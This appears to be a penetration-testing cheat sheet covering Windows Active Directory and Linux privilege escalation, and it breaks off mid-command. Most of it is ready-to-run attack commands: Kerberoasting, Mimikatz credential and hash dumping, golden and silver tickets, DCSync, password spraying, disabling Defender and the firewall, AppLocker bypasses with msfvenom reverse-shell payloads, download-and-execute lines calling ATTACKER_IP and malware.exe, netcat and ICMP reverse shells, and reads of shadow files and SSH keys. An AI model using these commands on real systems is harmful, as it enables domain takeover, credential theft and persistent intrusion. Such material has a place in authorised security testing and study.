Service Principal Names (SPNs): Service accounts leverage SPNs to support Kerberos authentication, which leaves a trail to exactly where these accounts are and what they are used for. This information can be easily exploited by an attacker. Using PowerShell list all domain service accounts that have registered SPN values: #Build LDAP Filter to look for users with SPN values registered for current domain $ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))" $domain = New-Object System.DirectoryServices.DirectoryEntry $search = New-Object System.DirectoryServices.DirectorySearcher $search.SearchRoot = $domain $search.PageSize = 1000 $search.Filter = $ldapFilter $search.SearchScope = "Subtree" #Execute Search $results = $search.FindAll() #Display SPN values from the returned objects foreach ($result in $results) { $userEntry = $result.GetDirectoryEntry() Write-Host "User Name = " $userEntry.name foreach ($SPN in $userEntry.servicePrincipalName) { Write-Host "SPN = " $SPN } Write-Host "" } LOCATE ALL ACCOUNTS WITH "svc" IN THE NAME: #Build LDAP Filter to look for users with service account naming conventions $ldapFilter = "(&(objectclass=Person)(cn=*svc*))" $domain = New-Object System.DirectoryServices.DirectoryEntry $search = New-Object System.DirectoryServices.DirectorySearcher $search.SearchRoot = $domain $search.PageSize = 1000 $search.Filter = $ldapFilter $search.SearchScope = "Subtree" #Adds list of properties to search for $objProperties = "name" Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)} #Execute Search $results = $search.FindAll() #Display values from the returned objects foreach ($result in $results) { $userEntry = $result.GetDirectoryEntry() Write-Host "User Name = " $userEntry.name Write-Host "" } To search Active Directory for service accounts, you need to investigate the values of an object’s user account control settings. Switch the first line of the above script with the line below to accomplish this. $ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol :1.2.840.113556.1.4.803:=65536))" The data is structured in a tree format. Each node in the tree is called a key. Each key can contain both subkeys and data entries called values. Registry Hive - A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in. Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. This is called the user profile hive. A user’s hive contains specific registry information pertaining to the user’s application settings, desktop, environment, network connections, and printers. User profile hives are located under the HKEY_USERS key. Most of the supporting files for the hives are in the %SystemRoot%\System32\Config directory. These files are updated each time a user logs on. Elevation of Privileges General # PowerShellMafia # Use always dev branch others are shit. https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 powershell.exe -c “Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks” powershell.exe -c “Import-Module C:\Users\Public\Get-System.ps1; Get-System” # Sherlock https://github.com/rasta-mouse/Sherlock # Unquoted paths wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\\” |findstr /i /v Kerberoast Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs) – For kerberos to work, times have to be within 5 minutes between attacker and victim. # Rubeus .\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234 # List available tickets setspn.exe -t evil.corp -q */* powershell.exe -exec bypass -c “Import-Module .\GetUserSPNs.ps1” cscript.exe GetUserSPNs.ps1 # List cached tickets Invoke-Mimikatz -Command ‘”kerberos::list”‘ powershell.exe -c “klist” powershell.exe -c “Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command ‘”kerberos::list”‘” # Request tickets Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/web01.medin.local” # Requesting remotely python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1 # Extract tickets powershell.exe -c “Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat” Invoke-Mimikatz -Command ‘”kerberos::list /export”‘ # Crack Tickets python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi Juicy Potato https://github.com/ohpe/juicy-potato/releases Pick one CLSID from here according to your system https://github.com/ohpe/juicy-potato/tree/master/CLSID Required tokens :- SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a “/c whoami > C:\Users\Public\morph3.txt” -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34} Stored Credential # To check if there is any stored keyscmdkey /list # Using them runas /user:administrator /savecred “cmd.exe /k whoami” Impersonating Tokens with meterpreter use incognito list_tokens -u impersonate_token NT-AUTHORITY\System Lateral Movement PsExec, SmbExec, WMIExec, RDP, PTH in general. WinRM is always good. Check groups carefully. Since windows gave support to OpenSSH we should also consider SSH. Mimikatz Ticket PTH Enable-PSRemoting mimikatz.exe ‘” kerberos:ptt C:\Users\Public\ticketname.kirbi”‘ “exit” Enter-PSSession -ComputerName ECORP WinRM $pass = ConvertTo-SecureString ‘supersecurepassword’ -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential (‘ECORP.local\morph3’, $pass) Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami } # Evil-WinRM https://github.com/Hackplayers/evil-winrm ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp PTH with Mimikatz Invoke-Mimikatz -Command ‘”sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command”‘ Database Links # PowerUpSQL https://github.com/NetSPI/PowerUpSQL Get-SQLServerLink -Instance server -Verbose powershell.exe -c “Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql” # To see servers select srvname from master..sysservers; # Native Get-SQLServerLinkCrawl -Instance server -Query “exec master..xp_cmdshell ‘whoami'” # Linked database tables select * from openquery(“ECORP\FOO”, ‘select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES’) # You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler # With meterpreter module you can find linked databases and if you are admin on them # You can do a query and try to enable xp_cmpshell on that server select * from openquery(“server”,’select * from master..sysservers’) EXECUTE AS USER = ‘internal_user’ (‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “server” Golden and Silver Tickets Keys depend of ticket : –> for a Golden, they are from the krbtgt account; –> for a Silver, it comes from the “computer account” or “service account”. # Golden Ticket # Extract the hash of the krbtgt user lsadump::dcsync /domain:evil.corp /user:krbtgt lsadump::lsa /inject lsadump:::lsa /patch lsadump::trust /patch # creating the ticket # /rc4 or /krbtgt – the NTLM hash # /sid you will get this from krbtgt dump # /ticket parameter is optional but default is ticket.kirbi # /groups parameter is optional but default is 513,512,520,518,519 # /id you can fake users and supply valid Administrator id kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519 kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command # After this , final ticket must be ready # You can now verify that your ticket is in your cache powershell.exe -c “klist” # Verify that golden ticket is working dir \\DC\C$ psexec.exe \\DC cmd.exe # Purge the currently cached kerberos ticket kerberos::purge #metasploit module can also be used for golden ticket, it loads the ticket into given session post/windows/escalate/golden_ticket # Silver Ticket # Silver Ticket allows escalation of privileges on DC # /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, …) # /service – The service name for the ticket (ex: cifs, rpcss, http, mssql, …) # Examples kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103 sqlcmd -S evilcorp-sql102.evilcorp.local select SYSTEM_USER; GO kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt AD Attacks Enumeration # Basic ldap enumeration enum4linux -a 192.168.1.2 python windapsearch.py -u morph3 -p morph3 -d evil.corp –dc-ip 192.168.1.2 python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd Bruteforce on ldap # Password spray https://github.com/dafthack/DomainPasswordSpray Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt # Password brute ./kerbrute_linux_amd64 bruteuser -d evil.corp –dc 192.168.1.2 rockyou.txt morph3 # Username brute ./kerbrute_linux_amd64 userenum -d evil.corp –dc 192.168.1.2 users.txt # Password spray ./kerbrute_linux_amd64 passwordspray -d evil.corp –dc 192.168.1.2 users.txt rockyou.txt DC Shadow AD MEM DC Shadow attack aims to inject malicious Domain Controllers into AD infrastructure so that we can dump actual AD members. #Find sid for that user wmic useraccount where (name=’administrator’ and domain=’%userdomain%’) get name,sid #This will create a RPC Server and listen lsadump::dcshadow /object:”CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local” /attribute:sidhistory /value:sid # Run this from another mimikatz lsadump::dcshadow /push # After this unregistration must be done # Relogin lsadump::dcsync /domain:ECORP.local /account:krbtgt # Now you must have krbtgt hash https://attack.stealthbits.com/how-dcshadow-persistence-attack-works DC Sync ##### lsadump::dcsync /domain:domain /all /csv lsadump::dcsync /user:krbtgt ##### https://gist.github.com/monoxgas/9d238accd969550136db powershell.exe -c “Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat” ##### python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1 python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL Bypass-Evasion Techniques Powershell Constrained Language Bypass powershell.exe -v 2 -ep bypass -command “IEX (New-Object Net.WebClient).DownloadString(‘http://ATTACKER_IP/rev.ps1’) PSByPassCLM powershell.exe -exec bypass -c Windows Defender sc config WinDefend start= disabled sc stop WinDefend # Powershell Set-MpPreference -DisableRealtimeMonitoring $true # Remove definitions “%Program Files%\Windows Defender\MpCmdRun.exe” -RemoveDefinitions -All Firewall Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off Ip Whitelisting New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP Applocker ByPass https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md # Multistep process to bypass applocker via MSBuild.exe: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001 -f csharp -e x86/shikata_ga_nai -i > out.cs # Replace the buf-sc and save it as out.csproj https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml Invoke-WebRequest “http://ATTACKER_IP/payload.csproj” -OutFile “out.csproj”; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj # or you can simply use my tool 🙂 https://github.com/morph3/Msbuild-payload-generator sudo python msbuild_gen.py -a x86 -i 10 –lhost 192.168.220.130 –lport 9001 -m GreatSCT # This also needs Veil-Framework python GreatSCT.py –ip 192.168.1.56 –port 443 -t Bypass -p installutil/powershell/script.py -c “OBFUSCATION=ascii SCRIPT=/root/script.ps1” C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp –ip 192.168.1.56 –port 9001 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll EvilSalsa #Preparing payloads python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt #Executing payload SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001 # Reverse icmp shell python icmpsh_m.py “ATTACKER_IP” “VICTIM_IP” SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP Miscellaneous Changing Permissions of a file icacls text.txt /grant Everyone:F Downloading files IEX (New-Object System.Net.WebClient).DownloadString(“http://ATTACKER_IP/rev.ps1”) (New-Object System.Net.WebClient).DownloadFile(“http://ATTACKER_SERVER/malware.exe”, “C:\Windows\Temp\malware.exe”) Invoke-WebRequest “http://ATTACKER_SERVER/malware.exe” -OutFile “C:\Windows\Temp\malware.exe” certutil.exe -urlcache -split -f “http://127.0.0.1:80/shell.exe” shell.exe Adding user to Domain admins Add-DomainGroupMember -Identity ‘Domain Admins’ -Members morph3 -Verbose Base64 Encode-Decode certutil -decode foo.b64 foo.exe certutil -encode foo.exe foo.b64 Network sharing # Local share net share wmic share get /format:list # Remote share net view net view \\dc.ecorp.foo /all wmic /node: dc.ecorp.foo share get # Mounting share net use Z: \\127.0.0.1\C$ /user:morph3 password123 Port Forwarding # Port forward using plink plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080 # Port forward using meterpreter portfwd add -l attacker-port -p victim-port -r victim-ip portfwd add -l 3306 -p 3306 -r 192.168.1.56 Powershell Portscan 0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) “Port $_ is open!”} 2>$null Recovering Powershell Secure String ###### $user = “morph3” $file = “morph3-pass.xml” $cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString) Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami } ###### [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(“string”)) ###### $Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password) $result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr) [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr) $result Injecting PowerShell scripts Into sessions Invoke-Command -FilePath scriptname -Sessions $sessions Enter-PSSession -Session $sess Enable RDP # CMD reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f # Powershell Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’-name “fDenyTSConnections” -Value 0 Enable-NetFirewallRule -DisplayGroup “Remote Desktop” # Optional net localgroup “Remote Desktop Users” morph3 /add # Reruling firewall netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes netsh advfirewall firewall add rule name=”allow RemoteDesktop” dir=in protocol=TCP localport=3389 action=allow Decrypting EFS files with Mimikatz Follow the link here How to Decrypt EFS Files privilege::debug token::elevate crypto::system /file:”C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert” /export dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id” # Clear text password dpapi::masterkey /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey” /password:pass123 # After this command you must have the exported .der and .pvk files dpapi::capi /in:”C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id” /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b openssl x509 -inform DER -outform PEM -in blah.der -out public.pem openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx # Import the certificate certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot type “C:\Users\Administrator\Documents\encrypted.txt” Post exploitation – information gathering Reading Event Logs User must be in “Event Log Reader” group Follow this link Get-WinEvent -ListLog * # Listing logs of a specific user $cred = Get-Credentials Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred # Reading Security logs (Get-WinEvent -FilterHashtable @{LogName = ‘Security’} | Select-Object @{name=’NewProcessNam e’;expression={ $_.Properties[5].Value }}, @{name=’CommandLine’;expression={ $_.Properties[8].Value }}).commandline Password Dump # Metasploit post/windows/gather/enum_chrome post/multi/gather/firefox_creds post/firefox/gather/cookies post/firefox/gather/passwords post/windows/gather/forensics/browser_history post/windows/gather/enum_putty_saved_sessions # Empire collection/ChromeDump collection/FoxDump collection/netripper credentials/sessiongopher # mimikatz privilege::debug sekurlsa::logonpasswords Shadow copy There might be a case where you are privileged but can’t read-access to shadow files(NTDS.dit, SYSTEM etc.) diskshadow.exe set context persistent nowriters add volume C: alias morph3 create expose %morph3% Z: # Deletion delete shadows volume %morph3% reset NTDS.dit dump secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com –ntds drsuapi # on DC, lsass.exe can dump hashes lsadump::lsa /inject Summary of tools Ad Environment icebreaker bloodhound Post Exploitation Empire DeathStar CrackMapExec – CME Covenant Rubeus SharpDPAPI Bypass Ebowla Veil-Framework PsBypassCLM Swiss Knife impacket Windows Kernel Vulnerabilities in the Windows kernel are published from time to time of which many can be used to escalate privileges. The following command can be used to retrieve installed patches and their date: wmic qfe get Caption,Description,HotFixID,InstalledOn Wmic can be used to retrieve installed software and their versions: wmic product get name, version To search for missing DLLs, PowerSploit can be used with the following script: Find-ProcessDLLHijack Hereafter, we can check the permissions in the directories that Windows searches for DLL files: Find-PathDLLHijack In the last step we can create a malicious DLL file with the following script: Write-HijackDll Windows first tries to execute an executable file in the location where the first space is. E.g. the service path C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe when administrators want to deploy images on a large number of devices without user interaction (called unattended installations) they use the Windows Deployment Services. However, this requires that the local system administrator’s password or other, privileged account passwords are stored in one or more of the following locations: C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml As an example, the following CMD commands can be used to search for passwords in configuration files: findstr /si password password *.txt findstr /si password password *.xml findstr /si password password *.ini findstr /si password password *.dat Furthermore, the following PowerSploit scripts can be used: Get-UnattendedInstallFile Get-Webconfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword The following commands are used to search for passwords in the registry: reg query HKLM /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s reg query HKU /f password /t REG_SZ /s reg query HKU /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s Insufficient Physical Access Manipulation Protection Further privilege escalation attack vectors exist if physical access to the target system is available. This section describes how privileges can be escalated on a system, which an attacker has physical access to and which is protected insufficiently against file manipulation. The following graph depicts the possibilities to elevate privileges by attacking devices which we have physical access to: Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize for a non domain system with domain credentials we can use the command below Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table -Autosize Discovering the Service Accounts By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified. PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation Winexe Linux Binary pth-winexe Example with pth: pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f697c2xxxxxxxxx //10.145.X.X cmd.exe pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe If we want to login as NTAuthority, probably use –system R-service: If there are any r-services enabled these are what you should try out, you may be lucky and get logged indirectly. #rlogin -l root // will directly log you in You can try an rlogin brute using Nmap script #nmap -p53 –script rlogin-brute #rusers -al #rwho SMB enumeration: This is what you might come across pretty often. #enum4linux -a //performs all basic enumeration using smb null session. #enum4linux -U 192.168.1.2 //-U will get userlist SMB null session is an unauthenticated netbios session between two computers. SMB null session is available for SMB1 systems only i.e 2000,xp,2003 To use an smb null session : #rpcclient -U “” 192.168.1.2 ///when asked enter empty password #rpcclient $>srvinfo #rpcclient $>enumdomusers #rpcclient $>querydominfo #rpcclient $>getdompwinfo //password policy #rpcclient $>netshareenum #nmblookup -A 192.168.1.1 #rpcinfo -p Enumerate using smbclinet: #smbclient -L //192.168.1.2 #smbclient -L //192.168.1.2/myshare -U anonymous #smb> get data.txt #smb>put evil.txt Brute SMB password: #nmap -p445 –script=smb-brute.nse Brute force should always be your last option. You can also use hydra to do it. Using nmap: #nmap -sU -sS –script=smb-enum-users -p U:137,T:139 192.168.1.200-254 #nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.1.0/24 Windows null session: C:\>net use \\TARGET\IPC$ “” /u:”” Use acccheck for getting user pass using smb #acccheck -v -t 192.168.1.2 -u -P /usr/share/dirb/wordlist/common.txt #acccheck -t 192.168.1.2 -U /root/users.txt -P /root/Pass.txt Once you got user creds we will use the creds to see the shares using smbmap #smbmap -u -p -d -H #smbmap -u user -p pass -d workgroup -H 192.168.1.2 #smbmap -L -u user -p pass -d workgroup -H 192.168.1.2 If you have only read privilege read the shares #smbmap -r -u user -p pass -d workgroup -H 192.168.1.2 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs Exploiting a vulnerable machine via dirtycow $ whoami – tells us the current user is john (non-root user) $ uname -a – gives us the kernel version which we know is vulnerable to dirtycow > downloaded the dirtycow exploit from here – https://www.exploit-db.com/exploits/40839/ > Compiled and executed it. It replaces the ‘root’ user with a new user ‘rash’ by editing the /etc/passwd file. $ su rash – It changes the current logged in user to ‘rash’ which is root. Exploiting vulnerable SUID executable to get root access $ find / -perm -u=s -type f 2>/dev/null – It prints the executables which have SUID bit set ls -la /usr/local/bin/nmap – Let’s confirm if nmap has SUID bit set or not. Exploiting misconfigured SUDO rights to get root access $ sudo -l – Prints the commands which we are allowed to run as SUDO sudo find /home -exec sh -i \; – find command’s exec parameter can be used for arbitrary code execution. Exploiting badly configured cron jobs to get root access $ ls -la /etc/cron.d – prints cron jobs which are already present in cron.d $ find / -perm -2 -type f 2>/dev/null – prints world writable files $ ls -la /usr/local/sbin/cron-logrotate.sh – Let’s confirm if the cron-logrotate.sh is world writable. $ echo “chown root:root /tmp/rootme; chmod u+s /tmp/rootme;”>/usr/local/sbin/cron-logrotate.sh – This will change the executable’s owner and group as root. It will also set the SUID bit. $ ls -la rootme – After 5 minutes, the logrotate cronjob was run and cron-logrotate.sh got execute with root privilege. $ ./rootme – spawns a root shell. > Now, if a root user executes the code with root privilege, we can achieve arbitrary code execution with root privilege. $ ls – executed ./ls file instead of running list command. Operating System What's the distribution type? What version? cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based What's the kernel version? Is it 64-bit cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- What can be learnt from the environmental variables? cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set Is there a printer? lpstat -a Applications & Services What services are running? Which service has which user privilege? ps aux ps -ef top cat /etc/services Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check! ps aux | grep root ps -ef | grep root What applications are installed? What version are they? Are they currently running? ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/ Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached? cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ What jobs are scheduled? crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root Any plain text usernames and/or passwords? grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla Communications & Networking What NIC(s) does the system have? Is it connected to another network? /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway? cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname What other users & hosts are communicating with the system? lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on Whats cached? IP and/or MAC addresses arp -e route /sbin/route -nee Is packet sniffing possible? What can be seen? Listen to live traffic tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] Have you got a shell? Can you interact with the system? nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ Is port forwarding possible? Redirect and interact with traffic from another view Note: http://www.boutell.com/rinetd/ Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) Is tunnelling possible? Send commands locally, remotely ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig Confidential Information & Users Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what? id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l What sensitive files can be found? cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ Anything "interesting" in the home directorie(s)? If it's possible to access ls -ahlR /root/ ls -ahlR /home/ Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg What has the user being doing? Is there any password in plain text? What have they been edting? cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history What user information can be found? cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root Can private-key information be found? cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key File Systems Which configuration files can be written in /etc/? Able to reconfigure a service? ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone What can be found in /var/ ? ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases Any settings/files (hidden) on website? Any settings file with database information? ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/ Is there anything in the log file(s) (Could help with "Local File Includes"!) cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat 